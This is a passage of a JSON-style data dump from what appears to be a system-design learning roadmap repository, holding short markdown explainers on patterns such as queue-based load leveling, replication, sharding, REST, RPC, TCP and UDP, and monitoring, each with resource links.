    "content": "# Queue-Based load leveling\n\nUse a queue that acts as a buffer between a task and a service it invokes in order to smooth intermittent heavy loads that can cause the service to fail or the task to time out. This can help to minimize the impact of peaks in demand on availability and responsiveness for both the task and the service.\n\nVisit the following resources to learn more:\n\n- [@article@Queue-Based Load Leveling pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/queue-based-load-leveling)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/queue-based-load-leveling@LncTxPg-wx8loy55r5NmV.md",
    "content": "# Queue-Based Load Leveling\n\nUse a queue that acts as a buffer between a task and a service it invokes in order to smooth intermittent heavy loads that can cause the service to fail or the task to time out. This can help to minimize the impact of peaks in demand on availability and responsiveness for both the task and the service.\n\nVisit the following resources to learn more:\n\n- [@article@Queue-Based Load Leveling pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/queue-based-load-leveling)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/queue-based-load-leveling@NybkOwl1lgaglZPRJQJ_Z.md",
    "content": "# Queue-Based load leveling\n\nUse a queue that acts as a buffer between a task and a service it invokes in order to smooth intermittent heavy loads that can cause the service to fail or the task to time out. This can help to minimize the impact of peaks in demand on availability and responsiveness for both the task and the service.\n\nVisit the following resources to learn more:\n\n- [@article@Queue-Based Load Leveling pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/queue-based-load-leveling)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/refresh-ahead@Bgqgl67FK56ioLNFivIsc.md",
    "content": "# Refresh-ahead\n\nYou can configure the cache to automatically refresh any recently accessed cache entry prior to its expiration.\n\nRefresh-ahead can result in reduced latency vs read-through if the cache can accurately predict which items are likely to be needed in the future.\n\nDisadvantage of refresh-ahead:\n------------------------------\n\n*   Not accurately predicting which items are likely to be needed in the future can result in reduced performance than without refresh-ahead.\n\n![](https://i.imgur.com/sBXb7lb.png)\n\nVisit the following resources to learn more:\n\n- [@article@From cache to in-memory data grid](http://www.slideshare.net/tmatyashovsky/from-cache-to-in-memory-data-grid-introduction-to-hazelcast)\n- [@article@Caching Strategy: Refresh Ahead Pattern](https://www.enjoyalgorithms.com/blog/refresh-ahead-caching-pattern)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/reliability-patterns@DYkdM_L7T2GcTPAoZNnUR.md",
    "content": "# Reliability Patterns\n\nThese patterns provide a way to design and implement systems that can withstand failures, maintain high levels of performance, and recover quickly from disruptions. Some common reliability patterns include Failover, Circuit Breaker, Retry, Bulkhead, Backpressure, Cache-Aside, Idempotent Operations and Health Endpoint Monitoring.\n\nVisit the following resources to learn more:\n\n- [@article@Reliability Patterns](https://learn.microsoft.com/en-us/azure/architecture/framework/resiliency/reliability-patterns)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/replication@0RQ5jzZKdadYY0h_QZ0Bb.md",
    "content": "# Replication\n\nReplication is an availability pattern that involves having multiple copies of the same data stored in different locations. In the event of a failure, the data can be retrieved from a different location. There are two main types of replication: Master-Master replication and Master-Slave replication.\n\n*   **Master-Master replication:** In this type of replication, multiple servers are configured as \"masters,\" and each one can accept read and write operations. This allows for high availability and allows any of the servers to take over if one of them fails. However, this type of replication can lead to conflicts if multiple servers update the same data at the same time, so some conflict resolution mechanism is needed to handle this.\n    \n*   **Master-Slave replication:** In this type of replication, one server is designated as the \"master\" and handles all write operations, while multiple \"slave\" servers handle read operations. If the master fails, one of the slaves can be promoted to take its place. This type of replication is simpler to set up and maintain compared to Master-Master replication.\n\nVisit the following resources to learn more:\n\n- [@opensource@Replication: Availability Pattern](https://github.com/donnemartin/system-design-primer#replication)\n- [@article@Database Replication Introduction: Types and Advantages](https://www.enjoyalgorithms.com/blog/introduction-to-database-replication-system-design)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/replication@dc-aIbBwUdlwgwQKGrq49.md",
    "content": "# Replication\n\nReplication is the process of copying data from one database to another. Replication is used to increase availability and scalability of databases. There are two types of replication: master-slave and master-master.\n\nMaster-slave Replication:\n-------------------------\n\nThe master serves reads and writes, replicating writes to one or more slaves, which serve only reads. Slaves can also replicate to additional slaves in a tree-like fashion. If the master goes offline, the system can continue to operate in read-only mode until a slave is promoted to a master or a new master is provisioned.\n\nMaster-master Replication:\n--------------------------\n\nBoth masters serve reads and writes and coordinate with each other on writes. If either master goes down, the system can continue to operate with both reads and writes."
  },
  {
    "path": "src/data/roadmaps/system-design/content/resiliency@wlAWMjxZF6yav3ZXOScxH.md",
    "content": "# Resilience\n\nResiliency is the ability of a system to gracefully handle and recover from failures, both inadvertent and malicious.\n\nThe nature of cloud hosting, where applications are often multi-tenant, use shared platform services, compete for resources and bandwidth, communicate over the Internet, and run on commodity hardware means there is an increased likelihood that both transient and more permanent faults will arise. The connected nature of the internet and the rise in sophistication and volume of attacks increase the likelihood of a security disruption.\n\nDetecting failures and recovering quickly and efficiently, is necessary to maintain resiliency.\n\nVisit the following resources to learn more:\n\n- [@article@Resiliency Patterns](https://learn.microsoft.com/en-us/azure/architecture/framework/resiliency/reliability-patterns#resiliency)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/rest@6-bgmfDTAQ9zABhpmVoHV.md",
    "content": "# REST\n\nREST is an architectural style enforcing a client/server model where the client acts on a set of resources managed by the server. The server provides a representation of resources and actions that can either manipulate or get a new representation of resources. All communication must be stateless and cacheable.\n\nThere are four qualities of a RESTful interface:\n\n*   Identify resources (URI in HTTP) - use the same URI regardless of any operation.\n*   Change with representations (Verbs in HTTP) - use verbs, headers, and body.\n*   Self-descriptive error message (status response in HTTP) - Use status codes, don't reinvent the wheel.\n*   HATEOAS (HTML interface for HTTP) - your web service should be fully accessible in a browser.\n\nREST is focused on exposing data. It minimizes the coupling between client/server and is often used for public HTTP APIs. REST uses a more generic and uniform method of exposing resources through URIs, representation through headers, and actions through verbs such as GET, POST, PUT, DELETE, and PATCH. Being stateless, REST is great for horizontal scaling and partitioning.\n\nVisit the following resources to learn more:\n\n- [@opensource@What Is REST?](https://github.com/donnemartin/system-design-primer#representational-state-transfer-rest)\n- [@article@What are the drawbacks of using RESTful APIs?](https://www.quora.com/What-are-the-drawbacks-of-using-RESTful-APIs)\n- [@feed@Explore top posts about REST API](https://app.daily.dev/tags/rest-api?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/retry-storm@LNmAJmh2ndFtOQIpvX_ga.md",
    "content": "# Retry Storm\n\nRetry Storm refers to a situation in which a large number of retries are triggered in a short period of time, leading to a significant increase in traffic and resource usage. This can occur when a system is not properly designed to handle failures or when a component is behaving unexpectedly. This can lead to Performance degradation, Increased resource utilization, Increased network traffic, and Poor user experience. To address retry storms, a number of approaches can be taken such as Exponential backoff, Circuit breaking, and Monitoring and alerting.\n\nVisit the following resources to learn more:\n\n- [@article@Retry Storm antipattern](https://learn.microsoft.com/en-us/azure/architecture/antipatterns/retry-storm/)\n- [@article@How To Avoid Retry Storms In Distributed Systems](https://faun.pub/how-to-avoid-retry-storms-in-distributed-systems-91bf34f43c7f)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/retry@xX_9VGUaOkBYFH3jPjnww.md",
    "content": "# Retry\n\nEnable an application to handle transient failures when it tries to connect to a service or network resource, by transparently retrying a failed operation. This can improve the stability of the application.\n\nVisit the following resources to learn more:\n\n- [@article@Retry pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/retry)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/returning-results@2gRIstNT-fTkv5GZ692gx.md",
    "content": "# Returning Results\n\nBackground jobs execute asynchronously in a separate process, or even in a separate location, from the UI or the process that invoked the background task. Ideally, background tasks are \"fire and forget\" operations, and their execution progress has no impact on the UI or the calling process. This means that the calling process does not wait for completion of the tasks. Therefore, it cannot automatically detect when the task ends.\n\nVisit the following resources to learn more:\n\n- [@article@Returning Results - Background Jobs](https://learn.microsoft.com/en-us/azure/architecture/best-practices/background-jobs#returning-results)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/rpc@ixqucoAkgnphWYAFnsMe-.md",
    "content": "# RPC\n\nIn an RPC, a client causes a procedure to execute on a different address space, usually a remote server. The procedure is coded as if it were a local procedure call, abstracting away the details of how to communicate with the server from the client program. Remote calls are usually slower and less reliable than local calls so it is helpful to distinguish RPC calls from local calls. Popular RPC frameworks include [Protobuf](https://developers.google.com/protocol-buffers/), [Thrift](https://thrift.apache.org/), and [Avro](https://avro.apache.org/docs/current/).\n\nRPC is a request-response protocol:\n\n*   Client program - Calls the client stub procedure. The parameters are pushed onto the stack like a local procedure call.\n*   Client stub procedure - Marshals (packs) procedure id and arguments into a request message.\n*   Client communication module - OS sends the message from the client to the server.\n*   Server communication module - OS passes the incoming packets to the server stub procedure.\n*   Server stub procedure - Unmarshalls the results, calls the server procedure matching the procedure id and passes the given arguments.\n*   The server response repeats the steps above in reverse order.\n\nSample RPC calls:\n\n    GET /someoperation?data=anId\n    \n    POST /anotheroperation\n    {\n      \"data\":\"anId\";\n      \"anotherdata\": \"another value\"\n    }\n    \n\nRPC is focused on exposing behaviors. RPCs are often used for performance reasons with internal communications, as you can hand-craft native calls to better fit your use cases.\n\nDisadvantage of RPC\n-------------------\n\n*   RPC clients become tightly coupled to the service implementation.\n*   A new API must be defined for every new operation or use case.\n*   It can be difficult to debug RPC.\n*   You might not be able to leverage existing technologies out of the box. For example, it might require additional effort to ensure [RPC calls are properly cached](http://etherealbits.com/2012/12/debunking-the-myths-of-rpc-rest/) on caching servers such as [Squid](http://www.squid-cache.org/).\n\nVisit the following resources to learn more:\n\n- [@opensource@What Is RPC?](https://github.com/donnemartin/system-design-primer#remote-procedure-call-rpc)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/schedule-driven@zoViI4kzpKIxpU20T89K_.md",
    "content": "# Schedule Driven\n\nSchedule-driven invocation uses a timer to start the background task. Examples of using schedule-driven triggers include:\n\n*   A timer that is running locally within the application or as part of the application's operating system invokes a background task on a regular basis.\n*   A timer that is running in a different application, such as Azure Logic Apps, sends a request to an API or web service on a regular basis. The API or web service invokes the background task.\n*   A separate process or application starts a timer that causes the background task to be invoked once after a specified time delay, or at a specific time.\n\nTypical examples of tasks that are suited to schedule-driven invocation include batch-processing routines (such as updating related-products lists for users based on their recent behavior), routine data processing tasks (such as updating indexes or generating accumulated results), data analysis for daily reports, data retention cleanup, and data consistency checks.\n\nVisit the following resources to learn more:\n\n- [@article@Schedule Driven - Background Jobs](https://learn.microsoft.com/en-us/azure/architecture/best-practices/background-jobs#schedule-driven-triggers)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/scheduler-agent-supervisor@RTEJHZ26znfBLrpQPtNvn.md",
    "content": "# Scheduling Agent Supervisor\n\nCoordinate a set of distributed actions as a single operation. If any of the actions fail, try to handle the failures transparently, or else undo the work that was performed, so the entire operation succeeds or fails as a whole. This can add resiliency to a distributed system, by enabling it to recover and retry actions that fail due to transient exceptions, long-lasting faults, and process failures.\n\nVisit the following resources to learn more:\n\n- [@article@Scheduler Agent Supervisor pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/scheduler-agent-supervisor)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/scheduling-agent-supervisor@uR1fU6pm7zTtdBcNgSRi4.md",
    "content": "# Scheduling Agent Supervisor\n\nCoordinate a set of distributed actions as a single operation. If any of the actions fail, try to handle the failures transparently, or else undo the work that was performed, so the entire operation succeeds or fails as a whole. This can add resiliency to a distributed system, by enabling it to recover and retry actions that fail due to transient exceptions, long-lasting faults, and process failures.\n\nVisit the following resources to learn more:\n\n- [@article@Scheduler Agent Supervisor pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/scheduler-agent-supervisor)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/security-monitoring@I_NfmDcBph8-oyFVFTknL.md",
    "content": "# Security Monitoring\n\nAll commercial systems that include sensitive data must implement a security structure. The complexity of the security mechanism is usually a function of the sensitivity of the data. In a system that requires users to be authenticated, you should record:\n\n*   All sign-in attempts, whether they fail or succeed.\n*   All operations performed by—and the details of all resources accessed by—an authenticated user.\n*   When a user ends a session and signs out.\n\nMonitoring might be able to help detect attacks on the system. For example, a large number of failed sign-in attempts might indicate a brute-force attack. An unexpected surge in requests might be the result of a distributed denial-of-service (DDoS) attack. You must be prepared to monitor all requests to all resources regardless of the source of these requests. A system that has a sign-in vulnerability might accidentally expose resources to the outside world without requiring a user to actually sign in.\n\nVisit the following resources to learn more:\n\n- [@article@Security Monitoring](https://learn.microsoft.com/en-us/azure/architecture/best-practices/monitoring#security-monitoring)\n- [@feed@Explore top posts about Monitoring](https://app.daily.dev/tags/monitoring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/security@ZvYpE6-N5dAtRDIwqcAu6.md",
    "content": "# Security\n\nSecurity provides confidentiality, integrity, and availability assurances against malicious attacks on information systems (and safety assurances for attacks on operational technology systems). Losing these assurances can negatively impact your business operations and revenue, as well as your organization's reputation in the marketplace. Maintaining security requires following well-established practices (security hygiene) and being vigilant to detect and rapidly remediate vulnerabilities and active attacks.\n\nVisit the following resources to learn more:\n\n- [@article@Security patterns](https://learn.microsoft.com/en-us/azure/architecture/framework/security/security-patterns)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/sequential-convoy@VgvUWAC6JYFyPZKBRoEqf.md",
    "content": "# Sequential Convoy\n\nSequential Convoy is a pattern that allows for the execution of a series of tasks, or convoy, in a specific order. This pattern can be used to ensure that a set of dependent tasks are executed in the correct order and to handle errors or failures during the execution of the tasks. It can be used in scenarios like workflow and transaction. It can be implemented using a variety of technologies such as state machines, workflows, and transactions.\n\nVisit the following resources to learn more:\n\n- [@article@What is Sequential Convoy?](https://learn.microsoft.com/en-us/biztalk/core/sequential-convoys)\n- [@article@Overview - Sequential Convoy pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/sequential-convoy)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/service-discovery@Nt0HUWLOl4O77elF8Is1S.md",
    "content": "# Service Discovery\n\nSystems such as [Consul](https://www.consul.io/docs/index.html), [Etcd](https://coreos.com/etcd/docs/latest), and [Zookeeper](http://www.slideshare.net/sauravhaloi/introduction-to-apache-zookeeper) can help services find each other by keeping track of registered names, addresses, and ports. [Health checks](https://www.consul.io/intro/getting-started/checks.html) help verify service integrity and are often done using an HTTP endpoint. Both Consul and Etcd have a built in key-value store that can be useful for storing config values and other shared data.\n\nVisit the following resources to learn more:\n\n- [@opensource@Intro to Service Discovery](https://github.com/donnemartin/system-design-primer#Service-Discovery)\n- [@article@What is Service-oriented architecture?](https://en.wikipedia.org/wiki/Service-oriented_architecture)\n- [@feed@Explore top posts about Architecture](https://app.daily.dev/tags/architecture?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/sharding@FX6dcV_93zOfbZMdM_-li.md",
    "content": "# Sharding\n\nSharding distributes data across different databases such that each database can only manage a subset of the data. Taking a users database as an example, as the number of users increases, more shards are added to the cluster.\n\nSimilar to the advantages of federation, sharding results in less read and write traffic, less replication, and more cache hits. Index size is also reduced, which generally improves performance with faster queries. If one shard goes down, the other shards are still operational, although you'll want to add some form of replication to avoid data loss. Like federation, there is no single central master serializing writes, allowing you to write in parallel with increased throughput.\n\nVisit the following resources to learn more:\n\n- [@article@The coming of the Shard](http://highscalability.com/blog/2009/8/6/an-unorthodox-approach-to-database-design-the-coming-of-the.html)\n- [@article@Shard (database architecture)](https://en.wikipedia.org/wiki/Shard_(database_architecture))\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/sharding@R6YehzA3X6DDo6oGBoBAx.md",
    "content": "# Sharding\n\nSharding is a technique used to horizontally partition a large data set across multiple servers, in order to improve the performance, scalability, and availability of a system. This is done by breaking the data set into smaller chunks, called shards, and distributing the shards across multiple servers. Each shard is self-contained and can be managed and scaled independently of the other shards. Sharding can be used in scenarios like scalability, availability, and geo-distribution. Sharding can be implemented using several different algorithms such as range-based sharding, hash-based sharding, and directory-based sharding.\n\nVisit the following resources to learn more:\n\n- [@article@Sharding pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/sharding)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/sidecar@AAgOGrra5Yz3_eG6tD2Fx.md",
    "content": "# Sidecar\n\nDeploy components of an application into a separate process or container to provide isolation and encapsulation. This pattern can also enable applications to be composed of heterogeneous components and technologies.\n\nThis pattern is named Sidecar because it resembles a sidecar attached to a motorcycle. In the pattern, the sidecar is attached to a parent application and provides supporting features for the application. The sidecar also shares the same lifecycle as the parent application, being created and retired alongside the parent. The sidecar pattern is sometimes referred to as the sidekick pattern and is a decomposition pattern.\n\nVisit the following resources to learn more:\n\n- [@article@Sidecar pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/sidecar)\n- [@feed@Explore top posts about Infrastructure](https://app.daily.dev/tags/infrastructure?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/sql-tuning@fY8zgbB13wxZ1CFtMSdZZ.md",
    "content": "# SQL Tuning\n\nSQL tuning is the attempt to diagnose and repair SQL statements that fail to meet a performance standard. It is a broad topic and many books have been written as reference. It's important to benchmark and profile to simulate and uncover bottlenecks.\n\n*   Benchmark - Simulate high-load situations with tools such as ab.\n*   Profile - Enable tools such as the slow query log to help track performance issues.\n\nBenchmarking and profiling might point you to the following optimizations.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to SQL Tuning - Oracle](https://docs.oracle.com/en/database/oracle/oracle-database/23/tgsql/introduction-to-sql-tuning.html#GUID-B653E5F3-F078-4BBC-9516-B892960046A2)\n- [@article@Query Optimization for Mere Humans in PostgreSQL](https://towardsdatascience.com/query-optimization-for-mere-humans-in-postgresql-875ab864390a/)\n- [@feed@Explore top posts about SQL](https://app.daily.dev/tags/sql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/sql-vs-nosql@KLnpMR2FxlQkCHZP6-tZm.md",
    "content": "# SQL vs noSQL\n\nSQL databases, such as MySQL and PostgreSQL, are best suited for structured, relational data and use a fixed schema. They provide robust ACID (Atomicity, Consistency, Isolation, Durability) transactions and support complex queries and joins.\n\nNoSQL databases, such as MongoDB and Cassandra, are best suited for unstructured, non-relational data and use a flexible schema. They provide high scalability and performance for large amounts of data and are often used in big data and real-time web applications.\n\nThe choice between SQL and NoSQL depends on the specific use case and requirements of the project. If you need to store and query structured data with complex relationships, an SQL database is likely a better choice. If you need to store and query large amounts of unstructured data with high scalability and performance, a NoSQL database may be a better choice.\n\nVisit the following resources to learn more:\n\n- [@article@SQL vs NoSQL: The Differences](https://www.sitepoint.com/sql-vs-nosql-differences/)\n- [@article@SQL vs. NoSQL Databases: What’s the Difference?](https://www.ibm.com/blog/sql-vs-nosql/)\n- [@article@NoSQL vs. SQL Databases](https://www.mongodb.com/nosql-explained/nosql-vs-sql)\n- [@feed@Explore top posts about NoSQL](https://app.daily.dev/tags/nosql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/static-content-hosting@-lKq-LT7EPK7r3xbXLgwS.md",
    "content": "# Static Content Hosting\n\nDeploy static content to a cloud-based storage service that can deliver them directly to the client. This can reduce the need for potentially expensive compute instances.\n\nVisit the following resources to learn more:\n\n- [@article@Static Content Hosting pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/static-content-hosting)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/static-content-hosting@izPT8NfJy1JC6h3i7GJYl.md",
    "content": "# Static Content Hosting\n\nDeploy static content to a cloud-based storage service that can deliver them directly to the client. This can reduce the need for potentially expensive compute instances.\n\nVisit the following resources to learn more:\n\n- [@article@Static Content Hosting pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/static-content-hosting)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/strangler-fig@VIbXf7Jh9PbQ9L-g6pHUG.md",
    "content": "# Strangler fig\n\nIncrementally migrate a legacy system by gradually replacing specific pieces of functionality with new applications and services. As features from the legacy system are replaced, the new system eventually replaces all of the old system's features, strangling the old system and allowing you to decommission it.\n\nVisit the following resources to learn more:\n\n- [@article@What is Strangler fig?](https://learn.microsoft.com/en-us/azure/architecture/patterns/strangler-fig)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/strong-consistency@JjB7eB8gdRCAYf5M0RcT7.md",
    "content": "# Strong Consistency\n\nAfter an update is made to the data, it will be immediately visible to any subsequent read operations. The data is replicated in a synchronous manner, ensuring that all copies of the data are updated at the same time.\n\nVisit the following resources to learn more:\n\n- [@article@Consistency Patterns in Distributed Systems](https://cs.fyi/guide/consistency-patterns-week-strong-eventual/)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/synchronous-io@Ihnmxo_bVgZABDwg1QGGk.md",
    "content": "# Synchronous I/O\n\nBlocking the calling thread while I/O completes can reduce performance and affect vertical scalability.\n\nA synchronous I/O operation blocks the calling thread while the I/O completes. The calling thread enters a wait state and is unable to perform useful work during this interval, wasting processing resources.\n\nCommon examples of I/O include:\n\n*   Retrieving or persisting data to a database or any type of persistent storage.\n*   Sending a request to a web service.\n*   Posting a message or retrieving a message from a queue.\n*   Writing to or reading from a local file.\n\nThis antipattern typically occurs because:\n\n*   It appears to be the most intuitive way to perform an operation.\n*   The application requires a response from a request.\n*   The application uses a library that only provides synchronous methods for I/O.\n*   An external library performs synchronous I/O operations internally. A single synchronous I/O call can block an entire call chain.\n\nVisit the following resources to learn more:\n\n- [@article@What is Synchronous I/O antipattern?](https://learn.microsoft.com/en-us/azure/architecture/antipatterns/synchronous-io/)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/task-queues@a9wGW_H1HpvvdYCXoS-Rf.md",
    "content": "# Task Queues\n\nTasks queues receive tasks and their related data, runs them, then delivers their results. They can support scheduling and can be used to run computationally-intensive jobs in the background.\n\n[Celery](https://docs.celeryproject.org/en/stable/) has support for scheduling and primarily has python support.\n\nVisit the following resources to learn more:\n\n- [@article@Celery - Distributed Task Queue](https://docs.celeryq.dev/en/stable/)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/tcp@2nF5uC6fYKbf0RFgGNHiP.md",
    "content": "# TCP\n\nTCP (Transmission Control Protocol) is a connection-oriented, reliable, and ordered protocol used for transmitting data over an IP network. It establishes a connection between a sender and receiver before data transfer begins, ensures that data packets arrive in the correct sequence without errors, and provides mechanisms for retransmission of lost packets and flow control to manage network congestion.\n\nVisit the following resources to learn more:\n\n- [@opensource@What Is TCP?](https://github.com/donnemartin/system-design-primer#transmission-control-protocol-tcp)\n- [@article@What is the difference between HTTP protocol and TCP protocol?](https://www.quora.com/What-is-the-difference-between-HTTP-protocol-and-TCP-protocol)\n- [@article@Networking for game programming](http://gafferongames.com/networking-for-game-programmers/udp-vs-tcp/)\n- [@article@Key differences between TCP and UDP protocols](http://www.cyberciti.biz/faq/key-differences-between-tcp-and-udp-protocols/)\n- [@article@Difference between TCP and UDP](http://stackoverflow.com/questions/5970383/difference-between-tcp-and-udp)\n- [@article@Transmission control protocol](https://en.wikipedia.org/wiki/Transmission_Control_Protocol)\n- [@article@User datagram protocol](https://en.wikipedia.org/wiki/User_Datagram_Protocol)\n- [@article@Scaling memcache at Facebook](http://www.cs.bu.edu/~jappavoo/jappavoo.github.com/451/papers/memcache-fb.pdf)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/throttling@6YVkguDOtwveyeP4Z1NL3.md",
    "content": "# Throttling\n\nControl the consumption of resources used by an instance of an application, an individual tenant, or an entire service. This can allow the system to continue to function and meet service level agreements, even when an increase in demand places an extreme load on resources.\n\nVisit the following resources to learn more:\n\n- [@article@Throttling pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/throttling)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/udp@LC5aTmUKNiw9RuSUt3fSE.md",
    "content": "# UDP\n\nUDP is connectionless. Datagrams (analogous to packets) are guaranteed only at the datagram level. Datagrams might reach their destination out of order or not at all. UDP does not support congestion control. Without the guarantees that TCP support, UDP is generally more efficient.\n\nUDP can broadcast, sending datagrams to all devices on the subnet. This is useful with DHCP because the client has not yet received an IP address, thus preventing a way for TCP to stream without the IP address.\n\nUDP is less reliable but works well in real time use cases such as VoIP, video chat, streaming, and realtime multiplayer games.\n\nUse UDP over TCP when:\n\n*   You need the lowest latency\n*   Late data is worse than loss of data\n*   You want to implement your own error correction\n\nVisit the following resources to learn more:\n\n- [@article@Networking for game programming](http://gafferongames.com/networking-for-game-programmers/udp-vs-tcp/)\n- [@article@Key differences between TCP and UDP protocols](http://www.cyberciti.biz/faq/key-differences-between-tcp-and-udp-protocols/)\n- [@article@Difference between TCP and UDP](http://stackoverflow.com/questions/5970383/difference-between-tcp-and-udp)\n- [@article@Transmission control protocol](https://en.wikipedia.org/wiki/Transmission_Control_Protocol)\n- [@article@User datagram protocol](https://en.wikipedia.org/wiki/User_Datagram_Protocol)\n- [@article@Scaling memcache at Facebook](http://www.cs.bu.edu/~jappavoo/jappavoo.github.com/451/papers/memcache-fb.pdf)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/usage-monitoring@eSZq74lROh5lllLyTBK5a.md",
    "content": "# Usage Monitoring\n\nUsage monitoring tracks how the features and components of an application are used. An operator can use the gathered data to:\n\n*   Determine which features are heavily used and determine any potential hotspots in the system. High-traffic elements might benefit from functional partitioning or even replication to spread the load more evenly. An operator can also use this information to ascertain which features are infrequently used and are possible candidates for retirement or replacement in a future version of the system.\n*   Obtain information about the operational events of the system under normal use. For example, in an e-commerce site, you can record the statistical information about the number of transactions and the volume of customers that are responsible for them. This information can be used for capacity planning as the number of customers grows.\n*   Detect (possibly indirectly) user satisfaction with the performance or functionality of the system. For example, if a large number of customers in an e-commerce system regularly abandon their shopping carts, this might be due to a problem with the checkout functionality.\n*   Generate billing information. A commercial application or multitenant service might charge customers for the resources that they use.\n*   Enforce quotas. If a user in a multitenant system exceeds their paid quota of processing time or resource usage during a specified period, their access can be limited or processing can be throttled.\n\nVisit the following resources to learn more:\n\n- [@article@Usage Monitoring](https://learn.microsoft.com/en-us/azure/architecture/best-practices/monitoring#usage-monitoring)\n- [@feed@Explore top posts about Monitoring](https://app.daily.dev/tags/monitoring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/valet-key@VltZgIrApHOwZ8YHvdmHB.md",
    "content": "# Valet Key\n\nUse a token that provides clients with restricted direct access to a specific resource, in order to offload data transfer from the application. This is particularly useful in applications that use cloud-hosted storage systems or queues, and can minimize cost and maximize scalability and performance.\n\nVisit the following resources to learn more:\n\n- [@article@Valet Key pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/valet-key)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/valet-key@stZOcr8EUBOK_ZB48uToj.md",
    "content": "# Valet Key\n\nUse a token that provides clients with restricted direct access to a specific resource, in order to offload data transfer from the application. This is particularly useful in applications that use cloud-hosted storage systems or queues, and can minimize cost and maximize scalability and performance.\n\nVisit the following resources to learn more:\n\n- [@article@Valet Key pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/valet-key)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/visualization--alerts@IwMOTpsYHApdvHZOhXtIw.md",
    "content": "# Visualization and Alerts\n\nAn important aspect of any monitoring system is the ability to present the data in such a way that an operator can quickly spot any trends or problems. Also important is the ability to quickly inform an operator if a significant event has occurred that might require attention.\n\nVisit the following resources to learn more:\n\n- [@article@Visualize Data and Raise Alerts](https://learn.microsoft.com/en-us/azure/architecture/best-practices/monitoring#visualizing-data-and-raising-alerts)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/weak-consistency@EKD5AikZtwjtsEYRPJhQ2.md",
    "content": "# Weak Consistency\n\nAfter an update is made to the data, it is not guaranteed that any subsequent read operation will immediately reflect the changes made. The read may or may not see the recent write.\n\nVisit the following resources to learn more:\n\n- [@article@Consistency Patterns in Distributed Systems](https://cs.fyi/guide/consistency-patterns-week-strong-eventual/)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/web-server-caching@o532nPnL-d2vXJn9k6vMl.md",
    "content": "# Web Server Caching\n\n[Reverse proxies](https://github.com/donnemartin/system-design-primer#reverse-proxy-web-server) and caches such as [Varnish](https://www.varnish-cache.org/) can serve static and dynamic content directly. Web servers can also cache requests, returning responses without having to contact application servers."
  },
  {
    "path": "src/data/roadmaps/system-design/content/what-is-system-design@idLHBxhvcIqZTqmh_E8Az.md",
    "content": "# What is System Design?\n\nSystem design is the process of defining the elements of a system, as well as their interactions and relationships, in order to satisfy a set of specified requirements.\n\nIt involves taking a problem statement, breaking it down into smaller components and designing each component to work together effectively to achieve the overall goal of the system. This process typically includes analyzing the current system (if any) and determining any deficiencies, creating a detailed plan for the new system, and testing the design to ensure that it meets the requirements. It is an iterative process that may involve multiple rounds of design, testing, and refinement.\n\nIn software engineering, system design is a phase in the software development process that focuses on the high-level design of a software system, including the architecture and components.\n\nVisit the following resources to learn more:\n\n- [@article@System Design: Complete Guide with Patterns, Examples, and Techniques](https://swimm.io/learn/system-design/system-design-complete-guide-with-patterns-examples-and-techniques)\n- [@article@A comprehensive guide to system design](https://www.crio.do/blog/a-comprehensive-guide-to-system-design/)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/wide-column-store@WHq1AdISkcgthaugE9uY7.md",
